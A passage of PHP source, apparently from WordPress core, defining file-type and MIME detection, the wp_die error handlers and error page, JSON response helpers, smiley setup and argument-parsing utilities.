'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),

'text' => array( 'asc', 'csv', 'tsv', 'txt' ),

'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),

'code' => array( 'css', 'htm', 'html', 'php', 'js' ),

) );

foreach ( $ext2type as $type => $exts )

if ( in_array( $ext, $exts ) )

return $type;

return null;

}

/**

* Retrieve the file type from the file name.

*

* You can optionally define the mime array, if needed.

*

* @since 2.0.4

*

* @param string $filename File name or path.

* @param array $mimes Optional. Key is the file extension with value as the mime type.

* @return array Values with extension first and mime type.

*/

function wp_check_filetype( $filename, $mimes = null ) {

if ( empty($mimes) )

$mimes = get_allowed_mime_types();

$type = false;

$ext = false;

foreach ( $mimes as $ext_preg => $mime_match ) {

$ext_preg = '!\.(' . $ext_preg . ')(\?.*)?$!i';

if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {

$type = $mime_match;

$ext = $ext_matches[1];

break;

}

}

return compact( 'ext', 'type' );

}

/**

* Attempt to determine the real file type of a file.

*

* If unable to, the file name extension will be used to determine type.

*

* If it's determined that the extension does not match the file's real type,

* then the "proper_filename" value will be set with a proper filename and extension.

*

* Currently this function only supports validating images known to getimagesize().

*

* @since 3.0.0

*

* @param string $file Full path to the file.

* @param string $filename The name of the file (may differ from $file due to $file being

* in a tmp directory).

* @param array $mimes Optional. Key is the file extension with value as the mime type.

* @return array Values for the extension, MIME, and either a corrected filename or false

* if original $filename is valid.

*/

function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {

$proper_filename = false;

// Do basic extension validation and MIME mapping

$wp_filetype = wp_check_filetype( $filename, $mimes );

$ext = $wp_filetype['ext'];

$type = $wp_filetype['type'];

// We can't do any further validation without a file to work with

if ( ! file_exists( $file ) ) {

return compact( 'ext', 'type', 'proper_filename' );

}

// We're able to validate images using GD

if ( $type && 0 === strpos( $type, 'image/' ) && function_exists('getimagesize') ) {

// Attempt to figure out what type of image it actually is

$imgstats = @getimagesize( $file );

// If getimagesize() knows what kind of image it really is and if the real MIME doesn't match the claimed MIME

if ( !empty($imgstats['mime']) && $imgstats['mime'] != $type ) {

/**

* Filter the list mapping image mime types to their respective extensions.

*

* @since 3.0.0

*

* @param array $mime_to_ext Array of image mime types and their matching extensions.

*/

$mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(

'image/jpeg' => 'jpg',

'image/png' => 'png',

'image/gif' => 'gif',

'image/bmp' => 'bmp',

'image/tiff' => 'tif',

) );

// Replace whatever is after the last period in the filename with the correct extension

if ( ! empty( $mime_to_ext[ $imgstats['mime'] ] ) ) {

$filename_parts = explode( '.', $filename );

array_pop( $filename_parts );

$filename_parts[] = $mime_to_ext[ $imgstats['mime'] ];

$new_filename = implode( '.', $filename_parts );

if ( $new_filename != $filename ) {

$proper_filename = $new_filename; // Mark that it changed

}

// Redefine the extension / MIME

$wp_filetype = wp_check_filetype( $new_filename, $mimes );

$ext = $wp_filetype['ext'];

$type = $wp_filetype['type'];

}

}

}

/**

* Filter the "real" file type of the given file.

*

* @since 3.0.0

*

* @param array $wp_check_filetype_and_ext File data array containing 'ext', 'type', and

* 'proper_filename' keys.

* @param string $file Full path to the file.

* @param string $filename The name of the file (may differ from $file due to

* $file being in a tmp directory).

* @param array $mimes Key is the file extension with value as the mime type.

*/

return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );

}

/**

* Retrieve list of mime types and file extensions.

*

* @since 3.5.0

*

* @return array Array of mime types keyed by the file extension regex corresponding to those types.

*/

function wp_get_mime_types() {

/**

* Filter the list of mime types and file extensions.

*

* This filter should be used to add, not remove, mime types. To remove

* mime types, use the 'upload_mimes' filter.

*

* @since 3.5.0

*

* @param array $wp_get_mime_types Mime types keyed by the file extension regex

* corresponding to those types.

*/

return apply_filters( 'mime_types', array(

// Image formats.

'jpg|jpeg|jpe' => 'image/jpeg',

'gif' => 'image/gif',

'png' => 'image/png',

'bmp' => 'image/bmp',

'tif|tiff' => 'image/tiff',

'ico' => 'image/x-icon',

// Video formats.

'asf|asx' => 'video/x-ms-asf',

'wmv' => 'video/x-ms-wmv',

'wmx' => 'video/x-ms-wmx',

'wm' => 'video/x-ms-wm',

'avi' => 'video/avi',

'divx' => 'video/divx',

'flv' => 'video/x-flv',

'mov|qt' => 'video/quicktime',

'mpeg|mpg|mpe' => 'video/mpeg',

'mp4|m4v' => 'video/mp4',

'ogv' => 'video/ogg',

'webm' => 'video/webm',

'mkv' => 'video/x-matroska',

'3gp|3gpp' => 'video/3gpp', // Can also be audio

'3g2|3gp2' => 'video/3gpp2', // Can also be audio

// Text formats.

'txt|asc|c|cc|h|srt' => 'text/plain',

'csv' => 'text/csv',

'tsv' => 'text/tab-separated-values',

'ics' => 'text/calendar',

'rtx' => 'text/richtext',

'css' => 'text/css',

'htm|html' => 'text/html',

'vtt' => 'text/vtt',

'dfxp' => 'application/ttaf+xml',

// Audio formats.

'mp3|m4a|m4b' => 'audio/mpeg',

'ra|ram' => 'audio/x-realaudio',

'wav' => 'audio/wav',

'ogg|oga' => 'audio/ogg',

'mid|midi' => 'audio/midi',

'wma' => 'audio/x-ms-wma',

'wax' => 'audio/x-ms-wax',

'mka' => 'audio/x-matroska',

// Misc application formats.

'rtf' => 'application/rtf',

'js' => 'application/javascript',

'pdf' => 'application/pdf',

'swf' => 'application/x-shockwave-flash',

'class' => 'application/java',

'tar' => 'application/x-tar',

'zip' => 'application/zip',

'gz|gzip' => 'application/x-gzip',

'rar' => 'application/rar',

'7z' => 'application/x-7z-compressed',

'exe' => 'application/x-msdownload',

'psd' => 'application/octet-stream',

// MS Office formats.

'doc' => 'application/msword',

'pot|pps|ppt' => 'application/vnd.ms-powerpoint',

'wri' => 'application/vnd.ms-write',

'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',

'mdb' => 'application/vnd.ms-access',

'mpp' => 'application/vnd.ms-project',

'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',

'docm' => 'application/vnd.ms-word.document.macroEnabled.12',

'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',

'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',

'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',

'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',

'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',

'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',

'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',

'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',

'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',

'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',

'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',

'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',

'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',

'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',

'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',

'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',

'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',

'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',

'oxps' => 'application/oxps',

'xps' => 'application/vnd.ms-xpsdocument',

// OpenOffice formats.

'odt' => 'application/vnd.oasis.opendocument.text',

'odp' => 'application/vnd.oasis.opendocument.presentation',

'ods' => 'application/vnd.oasis.opendocument.spreadsheet',

'odg' => 'application/vnd.oasis.opendocument.graphics',

'odc' => 'application/vnd.oasis.opendocument.chart',

'odb' => 'application/vnd.oasis.opendocument.database',

'odf' => 'application/vnd.oasis.opendocument.formula',

// WordPerfect formats.

'wp|wpd' => 'application/wordperfect',

// iWork formats.

'key' => 'application/vnd.apple.keynote',

'numbers' => 'application/vnd.apple.numbers',

'pages' => 'application/vnd.apple.pages',

) );

}

/**

* Retrieve list of allowed mime types and file extensions.

*

* @since 2.8.6

*

* @param int|WP_User $user Optional. User to check. Defaults to current user.

* @return array Array of mime types keyed by the file extension regex corresponding

* to those types.

*/

function get_allowed_mime_types( $user = null ) {

$t = wp_get_mime_types();

unset( $t['swf'], $t['exe'] );

if ( function_exists( 'current_user_can' ) )

$unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );

if ( empty( $unfiltered ) )

unset( $t['htm|html'] );

/**

* Filter list of allowed mime types and file extensions.

*

* @since 2.0.0

*

* @param array $t Mime types keyed by the file extension regex corresponding to

* those types. 'swf' and 'exe' removed from full list. 'htm|html' also

* removed depending on '$user' capabilities.

* @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).

*/

return apply_filters( 'upload_mimes', $t, $user );

}

/**

* Display "Are You Sure" message to confirm the action being taken.

*

* If the action has the nonce explain message, then it will be displayed

* along with the "Are you sure?" message.

*

* @since 2.0.4

*

* @param string $action The nonce action.

*/

function wp_nonce_ays( $action ) {

if ( 'log-out' == $action ) {

$html = sprintf( __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ) . '</p><p>';

$redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';

$html .= sprintf( __( "Do you really want to <a href='%s'>log out</a>?"), wp_logout_url( $redirect_to ) );

} else {

$html = __( 'Are you sure you want to do this?' );

if ( wp_get_referer() )

$html .= "</p><p><a href='" . esc_url( remove_query_arg( 'updated', wp_get_referer() ) ) . "'>" . __( 'Please try again.' ) . "</a>";

}

wp_die( $html, __( 'WordPress Failure Notice' ), 403 );

}

/**

* Kill WordPress execution and display HTML message with error message.

*

* This function complements the `die()` PHP function. The difference is that

* HTML will be displayed to the user. It is recommended to use this function

* only when the execution should not continue any further. It is not recommended

* to call this function very often, and try to handle as many errors as possible

* silently or more gracefully.

*

* As a shorthand, the desired HTTP response code may be passed as an integer to

* the `$title` parameter (the default title would apply) or the `$args` parameter.

*

* @since 2.0.4

* @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept

* an integer to be used as the response code.

*

* @param string|WP_Error $message Optional. Error message. If this is a {@see WP_Error} object,

* the error's messages are used. Default empty.

* @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object,

* error data with the key 'title' may be used to specify the title.

* If `$title` is an integer, then it is treated as the response

* code. Default empty.

* @param string|array|int $args {

* Optional. Arguments to control behavior. If `$args` is an integer, then it is treated

* as the response code. Default empty array.

*

* @type int $response The HTTP response code. Default 500.

* @type bool $back_link Whether to include a link to go back. Default false.

* @type string $text_direction The text direction. This is only useful internally, when WordPress

* is still loading and the site's locale is not set up yet. Accepts 'rtl'.

* Default is the value of {@see is_rtl()}.

* }

*/

function wp_die( $message = '', $title = '', $args = array() ) {

if ( is_int( $args ) ) {

$args = array( 'response' => $args );

} elseif ( is_int( $title ) ) {

$args = array( 'response' => $title );

$title = '';

}

if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {

/**

* Filter callback for killing WordPress execution for AJAX requests.

*

* @since 3.4.0

*

* @param callback $function Callback function name.

*/

$function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );

} elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {

/**

* Filter callback for killing WordPress execution for XML-RPC requests.

*

* @since 3.4.0

*

* @param callback $function Callback function name.

*/

$function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );

} else {

/**

* Filter callback for killing WordPress execution for all non-AJAX, non-XML-RPC requests.

*

* @since 3.0.0

*

* @param callback $function Callback function name.

*/

$function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );

}

call_user_func( $function, $message, $title, $args );

}

/**

* Kill WordPress execution and display HTML message with error message.

*

* This is the default handler for wp_die if you want a custom one for your

* site then you can overload using the wp_die_handler filter in wp_die

*

* @since 3.0.0

* @access private

*

* @param string $message Error message.

* @param string $title Optional. Error title. Default empty.

* @param string|array $args Optional. Arguments to control behavior. Default empty array.

*/

function _default_wp_die_handler( $message, $title = '', $args = array() ) {

$defaults = array( 'response' => 500 );

$r = wp_parse_args($args, $defaults);

$have_gettext = function_exists('__');

if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {

if ( empty( $title ) ) {

$error_data = $message->get_error_data();

if ( is_array( $error_data ) && isset( $error_data['title'] ) )

$title = $error_data['title'];

}

$errors = $message->get_error_messages();

switch ( count( $errors ) ) {

case 0 :

$message = '';

break;

case 1 :

$message = "<p>{$errors[0]}</p>";

break;

default :

$message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";

break;

}

} elseif ( is_string( $message ) ) {

$message = "<p>$message</p>";

}

if ( isset( $r['back_link'] ) && $r['back_link'] ) {

$back_text = $have_gettext? __('« Back') : '« Back';

$message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";

}

if ( ! did_action( 'admin_head' ) ) :

if ( !headers_sent() ) {

status_header( $r['response'] );

nocache_headers();

header( 'Content-Type: text/html; charset=utf-8' );

}

if ( empty($title) )

$title = $have_gettext ? __('WordPress › Error') : 'WordPress › Error';

$text_direction = 'ltr';

if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )

$text_direction = 'rtl';

elseif ( function_exists( 'is_rtl' ) && is_rtl() )

$text_direction = 'rtl';

?>

<!DOCTYPE html>

<!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono

-->

<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title><?php echo $title ?></title>

<style type="text/css">

html {

background: #f1f1f1;

}

body {

background: #fff;

color: #444;

font-family: "Open Sans", sans-serif;

margin: 2em auto;

padding: 1em 2em;

max-width: 700px;

-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);

box-shadow: 0 1px 3px rgba(0,0,0,0.13);

}

h1 {

border-bottom: 1px solid #dadada;

clear: both;

color: #666;

font: 24px "Open Sans", sans-serif;

margin: 30px 0 0 0;

padding: 0;

padding-bottom: 7px;

}

#error-page {

margin-top: 50px;

}

#error-page p {

font-size: 14px;

line-height: 1.5;

margin: 25px 0 20px;

}

#error-page code {

font-family: Consolas, Monaco, monospace;

}

ul li {

margin-bottom: 10px;

font-size: 14px ;

}

a {

color: #21759B;

text-decoration: none;

}

a:hover {

color: #D54E21;

}

.button {

background: #f7f7f7;

border: 1px solid #cccccc;

color: #555;

display: inline-block;

text-decoration: none;

font-size: 13px;

line-height: 26px;

height: 28px;

margin: 0;

padding: 0 10px 1px;

cursor: pointer;

-webkit-border-radius: 3px;

-webkit-appearance: none;

border-radius: 3px;

white-space: nowrap;

-webkit-box-sizing: border-box;

-moz-box-sizing: border-box;

box-sizing: border-box;

-webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba(0,0,0,.08);

box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba(0,0,0,.08);

vertical-align: top;

}

.button.button-large {

height: 29px;

line-height: 28px;

padding: 0 12px;

}

.button:hover,

.button:focus {

background: #fafafa;

border-color: #999;

color: #222;

}

.button:focus {

-webkit-box-shadow: 1px 1px 1px rgba(0,0,0,.2);

box-shadow: 1px 1px 1px rgba(0,0,0,.2);

}

.button:active {

background: #eee;

border-color: #999;

color: #333;

-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );

box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );

}

<?php if ( 'rtl' == $text_direction ) : ?>

body { font-family: Tahoma, Arial; }

<?php endif; ?>

</style>

</head>

<body id="error-page">

<?php endif; // ! did_action( 'admin_head' ) ?>

<?php echo $message; ?>

</body>

</html>

<?php

die();

}

/**

* Kill WordPress execution and display XML message with error message.

*

* This is the handler for wp_die when processing XMLRPC requests.

*

* @since 3.2.0

* @access private

*

* @param string $message Error message.

* @param string $title Optional. Error title. Default empty.

* @param string|array $args Optional. Arguments to control behavior. Default empty array.

*/

function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {

global $wp_xmlrpc_server;

$defaults = array( 'response' => 500 );

$r = wp_parse_args($args, $defaults);

if ( $wp_xmlrpc_server ) {

$error = new IXR_Error( $r['response'] , $message);

$wp_xmlrpc_server->output( $error->getXml() );

}

die();

}

/**

* Kill WordPress ajax execution.

*

* This is the handler for wp_die when processing Ajax requests.

*

* @since 3.4.0

* @access private

*

* @param string $message Optional. Response to print. Default empty.

*/

function _ajax_wp_die_handler( $message = '' ) {

if ( is_scalar( $message ) )

die( (string) $message );

die( '0' );

}

/**

* Kill WordPress execution.

*

* This is the handler for wp_die when processing APP requests.

*

* @since 3.4.0

* @access private

*

* @param string $message Optional. Response to print. Default empty.

*/

function _scalar_wp_die_handler( $message = '' ) {

if ( is_scalar( $message ) )

die( (string) $message );

die();

}

/**

* Encode a variable into JSON, with some sanity checks.

*

* @since 4.1.0

*

* @param mixed $data Variable (usually an array or object) to encode as JSON.

* @param int $options Optional. Options to be passed to json_encode(). Default 0.

* @param int $depth Optional. Maximum depth to walk through $data. Must be

* greater than 0. Default 512.

* @return bool|string The JSON encoded string, or false if it cannot be encoded.

*/

function wp_json_encode( $data, $options = 0, $depth = 512 ) {

/*

* json_encode() has had extra params added over the years.

* $options was added in 5.3, and $depth in 5.5.

* We need to make sure we call it with the correct arguments.

*/

if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {

$args = array( $data, $options, $depth );

} elseif ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {

$args = array( $data, $options );

} else {

$args = array( $data );

}

$json = call_user_func_array( 'json_encode', $args );

// If json_encode() was successful, no need to do more sanity checking.

// ... unless we're in an old version of PHP, and json_encode() returned

// a string containing 'null'. Then we need to do more sanity checking.

if ( false !== $json && ( version_compare( PHP_VERSION, '5.5', '>=' ) || false === strpos( $json, 'null' ) ) ) {

return $json;

}

try {

$args[0] = _wp_json_sanity_check( $data, $depth );

} catch ( Exception $e ) {

return false;

}

return call_user_func_array( 'json_encode', $args );

}

/**

* Perform sanity checks on data that shall be encoded to JSON.

*

* @see wp_json_encode()

*

* @since 4.1.0

* @access private

* @internal

*

* @param mixed $data Variable (usually an array or object) to encode as JSON.

* @param int $depth Maximum depth to walk through $data. Must be greater than 0.

* @return mixed The sanitized data that shall be encoded to JSON.

*/

function _wp_json_sanity_check( $data, $depth ) {

if ( $depth < 0 ) {

throw new Exception( 'Reached depth limit' );

}

if ( is_array( $data ) ) {

$output = array();

foreach ( $data as $id => $el ) {

// Don't forget to sanitize the ID!

if ( is_string( $id ) ) {

$clean_id = _wp_json_convert_string( $id );

} else {

$clean_id = $id;

}

// Check the element type, so that we're only recursing if we really have to.

if ( is_array( $el ) || is_object( $el ) ) {

$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );

} elseif ( is_string( $el ) ) {

$output[ $clean_id ] = _wp_json_convert_string( $el );

} else {

$output[ $clean_id ] = $el;

}

}

} elseif ( is_object( $data ) ) {

$output = new stdClass;

foreach ( $data as $id => $el ) {

if ( is_string( $id ) ) {

$clean_id = _wp_json_convert_string( $id );

} else {

$clean_id = $id;

}

if ( is_array( $el ) || is_object( $el ) ) {

$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );

} elseif ( is_string( $el ) ) {

$output->$clean_id = _wp_json_convert_string( $el );

} else {

$output->$clean_id = $el;

}

}

} elseif ( is_string( $data ) ) {

return _wp_json_convert_string( $data );

} else {

return $data;

}

return $output;

}

/**

* Convert a string to UTF-8, so that it can be safely encoded to JSON.

*

* @see _wp_json_sanity_check()

*

* @since 4.1.0

* @access private

* @internal

*

* @param string $string The string which is to be converted.

* @return string The checked string.

*/

function _wp_json_convert_string( $string ) {

static $use_mb = null;

if ( is_null( $use_mb ) ) {

$use_mb = function_exists( 'mb_convert_encoding' );

}

if ( $use_mb ) {

$encoding = mb_detect_encoding( $string, mb_detect_order(), true );

if ( $encoding ) {

return mb_convert_encoding( $string, 'UTF-8', $encoding );

} else {

return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );

}

} else {

return wp_check_invalid_utf8( $string, true );

}

}

/**

* Send a JSON response back to an Ajax request.

*

* @since 3.5.0

*

* @param mixed $response Variable (usually an array or object) to encode as JSON,

* then print and die.

*/

function wp_send_json( $response ) {

@header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );

echo wp_json_encode( $response );

if ( defined( 'DOING_AJAX' ) && DOING_AJAX )

wp_die();

else

die;

}

/**

* Send a JSON response back to an Ajax request, indicating success.

*

* @since 3.5.0

*

* @param mixed $data Data to encode as JSON, then print and die.

*/

function wp_send_json_success( $data = null ) {

$response = array( 'success' => true );

if ( isset( $data ) )

$response['data'] = $data;

wp_send_json( $response );

}

/**

* Send a JSON response back to an Ajax request, indicating failure.

*

* If the `$data` parameter is a {@see WP_Error} object, the errors

* within the object are processed and output as an array of error

* codes and corresponding messages. All other types are output

* without further processing.

*

* @since 3.5.0

* @since 4.1.0 The `$data` parameter is now processed if a {@see WP_Error}

* object is passed in.

*

* @param mixed $data Data to encode as JSON, then print and die.

*/

function wp_send_json_error( $data = null ) {

$response = array( 'success' => false );

if ( isset( $data ) ) {

if ( is_wp_error( $data ) ) {

$result = array();

foreach ( $data->errors as $code => $messages ) {

foreach ( $messages as $message ) {

$result[] = array( 'code' => $code, 'message' => $message );

}

}

$response['data'] = $result;

} else {

$response['data'] = $data;

}

}

wp_send_json( $response );

}

/**

* Retrieve the WordPress home page URL.

*

* If the constant named 'WP_HOME' exists, then it will be used and returned

* by the function. This can be used to counter the redirection on your local

* development environment.

*

* @since 2.2.0

* @access private

*

* @see WP_HOME

*

* @param string $url URL for the home location.

* @return string Homepage location.

*/

function _config_wp_home( $url = '' ) {

if ( defined( 'WP_HOME' ) )

return untrailingslashit( WP_HOME );

return $url;

}

/**

* Retrieve the WordPress site URL.

*

* If the constant named 'WP_SITEURL' is defined, then the value in that

* constant will always be returned. This can be used for debugging a site

* on your localhost while not having to change the database to your URL.

*

* @since 2.2.0

* @access private

*

* @see WP_SITEURL

*

* @param string $url URL to set the WordPress site location.

* @return string The WordPress Site URL.

*/

function _config_wp_siteurl( $url = '' ) {

if ( defined( 'WP_SITEURL' ) )

return untrailingslashit( WP_SITEURL );

return $url;

}

/**

* Set the localized direction for MCE plugin.

*

* Will only set the direction to 'rtl', if the WordPress locale has

* the text direction set to 'rtl'.

*

* Fills in the 'directionality' setting, enables the 'directionality'

* plugin, and adds the 'ltr' button to 'toolbar1', formerly

* 'theme_advanced_buttons1' array keys. These keys are then returned

* in the $input (TinyMCE settings) array.

*

* @since 2.1.0

* @access private

*

* @param array $input MCE settings array.

* @return array Direction set for 'rtl', if needed by locale.

*/

function _mce_set_direction( $input ) {

if ( is_rtl() ) {

$input['directionality'] = 'rtl';

$input['plugins'] .= ',directionality';

$input['toolbar1'] .= ',ltr';

}

return $input;

}

/**

* Convert smiley code to the icon graphic file equivalent.

*

* You can turn off smilies, by going to the write setting screen and unchecking

* the box, or by setting 'use_smilies' option to false or removing the option.

*

* Plugins may override the default smiley list by setting the $wpsmiliestrans

* to an array, with the key the code the blogger types in and the value the

* image file.

*

* The $wp_smiliessearch global is for the regular expression and is set each

* time the function is called.

*

* The full list of smilies can be found in the function and won't be listed in

* the description. Probably should create a Codex page for it, so that it is

* available.

*

* @global array $wpsmiliestrans

* @global array $wp_smiliessearch

*

* @since 2.2.0

*/

function smilies_init() {

global $wpsmiliestrans, $wp_smiliessearch;

// don't bother setting up smilies if they are disabled

if ( !get_option( 'use_smilies' ) )

return;

if ( !isset( $wpsmiliestrans ) ) {

$wpsmiliestrans = array(

':mrgreen:' => 'icon_mrgreen.gif',

':neutral:' => 'icon_neutral.gif',

':twisted:' => 'icon_twisted.gif',

':arrow:' => 'icon_arrow.gif',

':shock:' => 'icon_eek.gif',

':smile:' => 'icon_smile.gif',

':???:' => 'icon_confused.gif',

':cool:' => 'icon_cool.gif',

':evil:' => 'icon_evil.gif',

':grin:' => 'icon_biggrin.gif',

':idea:' => 'icon_idea.gif',

':oops:' => 'icon_redface.gif',

':razz:' => 'icon_razz.gif',

':roll:' => 'icon_rolleyes.gif',

':wink:' => 'icon_wink.gif',

':cry:' => 'icon_cry.gif',

':eek:' => 'icon_surprised.gif',

':lol:' => 'icon_lol.gif',

':mad:' => 'icon_mad.gif',

':sad:' => 'icon_sad.gif',

'8-)' => 'icon_cool.gif',

'8-O' => 'icon_eek.gif',

':-(' => 'icon_sad.gif',

':-)' => 'icon_smile.gif',

':-?' => 'icon_confused.gif',

':-D' => 'icon_biggrin.gif',

':-P' => 'icon_razz.gif',

':-o' => 'icon_surprised.gif',

':-x' => 'icon_mad.gif',

':-|' => 'icon_neutral.gif',

';-)' => 'icon_wink.gif',

// This one transformation breaks regular text with frequency.

// '8)' => 'icon_cool.gif',

'8O' => 'icon_eek.gif',

':(' => 'icon_sad.gif',

':)' => 'icon_smile.gif',

':?' => 'icon_confused.gif',

':D' => 'icon_biggrin.gif',

':P' => 'icon_razz.gif',

':o' => 'icon_surprised.gif',

':x' => 'icon_mad.gif',

':|' => 'icon_neutral.gif',

';)' => 'icon_wink.gif',

':!:' => 'icon_exclaim.gif',

':?:' => 'icon_question.gif',

);

}

if (count($wpsmiliestrans) == 0) {

return;

}

/*

* NOTE: we sort the smilies in reverse key order. This is to make sure

* we match the longest possible smilie (:???: vs :?) as the regular

* expression used below is first-match

*/

krsort($wpsmiliestrans);

$spaces = wp_spaces_regexp();

// Begin first "subpattern"

$wp_smiliessearch = '/(?<=' . $spaces . '|^)';

$subchar = '';

foreach ( (array) $wpsmiliestrans as $smiley => $img ) {

$firstchar = substr($smiley, 0, 1);

$rest = substr($smiley, 1);

// new subpattern?

if ($firstchar != $subchar) {

if ($subchar != '') {

$wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern"

$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern"

}

$subchar = $firstchar;

$wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';

} else {

$wp_smiliessearch .= '|';

}

$wp_smiliessearch .= preg_quote($rest, '/');

}

$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';

}

/**

* Merge user defined arguments into defaults array.

*

* This function is used throughout WordPress to allow for both string or array

* to be merged into another array.

*

* @since 2.2.0

*

* @param string|array $args Value to merge with $defaults

* @param array $defaults Optional. Array that serves as the defaults. Default empty.

* @return array Merged user defined values with defaults.

*/

function wp_parse_args( $args, $defaults = '' ) {

if ( is_object( $args ) )

$r = get_object_vars( $args );

elseif ( is_array( $args ) )

$r =& $args;

else

wp_parse_str( $args, $r );

if ( is_array( $defaults ) )

return array_merge( $defaults, $r );

return $r;

}

/**

* Clean up an array, comma- or space-separated list of IDs.

*

* @since 3.0.0

*

* @param array|string $list List of ids.

* @return array Sanitized array of IDs.

*/

function wp_parse_id_list( $list ) {

if ( !is_array($list) )

$list = preg_split('/[\s,]+/', $list);

return array_unique(array_map('absint', $list));

}

/**

* Extract a slice of an array, given a list of keys.

*

* @since 3.1.0

*

* @param array $array The original array.

* @param array $keys The list of keys.

* @return array The array slice.

*/

function wp_array_slice_assoc( $array, $keys ) {

$slice = array();

foreach ( $keys as $key )

if ( isset( $array[ $key ] ) )

$slice[ $key ] = $array[ $key ];

return $slice;

}

/**

* Filters a list of objects, based on a set of key => value arguments.

*

* @since 3.0.0

*

* @param array $list An array of objects to filter

* @param array $args Optional. An array of key => value arguments to match

* against each object. Default empty array.

* @param string $operator Optional. The logical operation to perform. 'or' means

* only one element from the array needs to match; 'and'

* means all elements must match. Default 'and'.

* @param bool|string $field A field from the object to place instead of the entire object.

* Default false.

* @return array A list of objects or object fields.

*/

function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {

if ( ! is_array( $list ) )

return array();

$list = wp_list_filter( $list, $args, $operator );

if ( $field )

$list = wp_list_pluck( $list, $field );

return $list;

}

/**

* Filters a list of objects, based on a set of key => value arguments.

*

* @since 3.1.0

*

* @param array $list An array of objects to filter.

* @param array $args Optional. An array of key => value arguments to match

* against each object. Default empty array.

* @param string $operator Optional. The logical operation to perform. 'AND' means

* all elements from the array must match. 'OR' means only

* one element needs to match. 'NOT' means no elements may

* match. Default 'AND'.

* @return array Array of found values.

*/

function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {

if ( ! is_array( $list ) )

return array();

if ( empty( $args ) )

return $list;

$operator = strtoupper( $operator );

$count = count( $args );

$filtered = array();

foreach ( $list as $key => $obj ) {

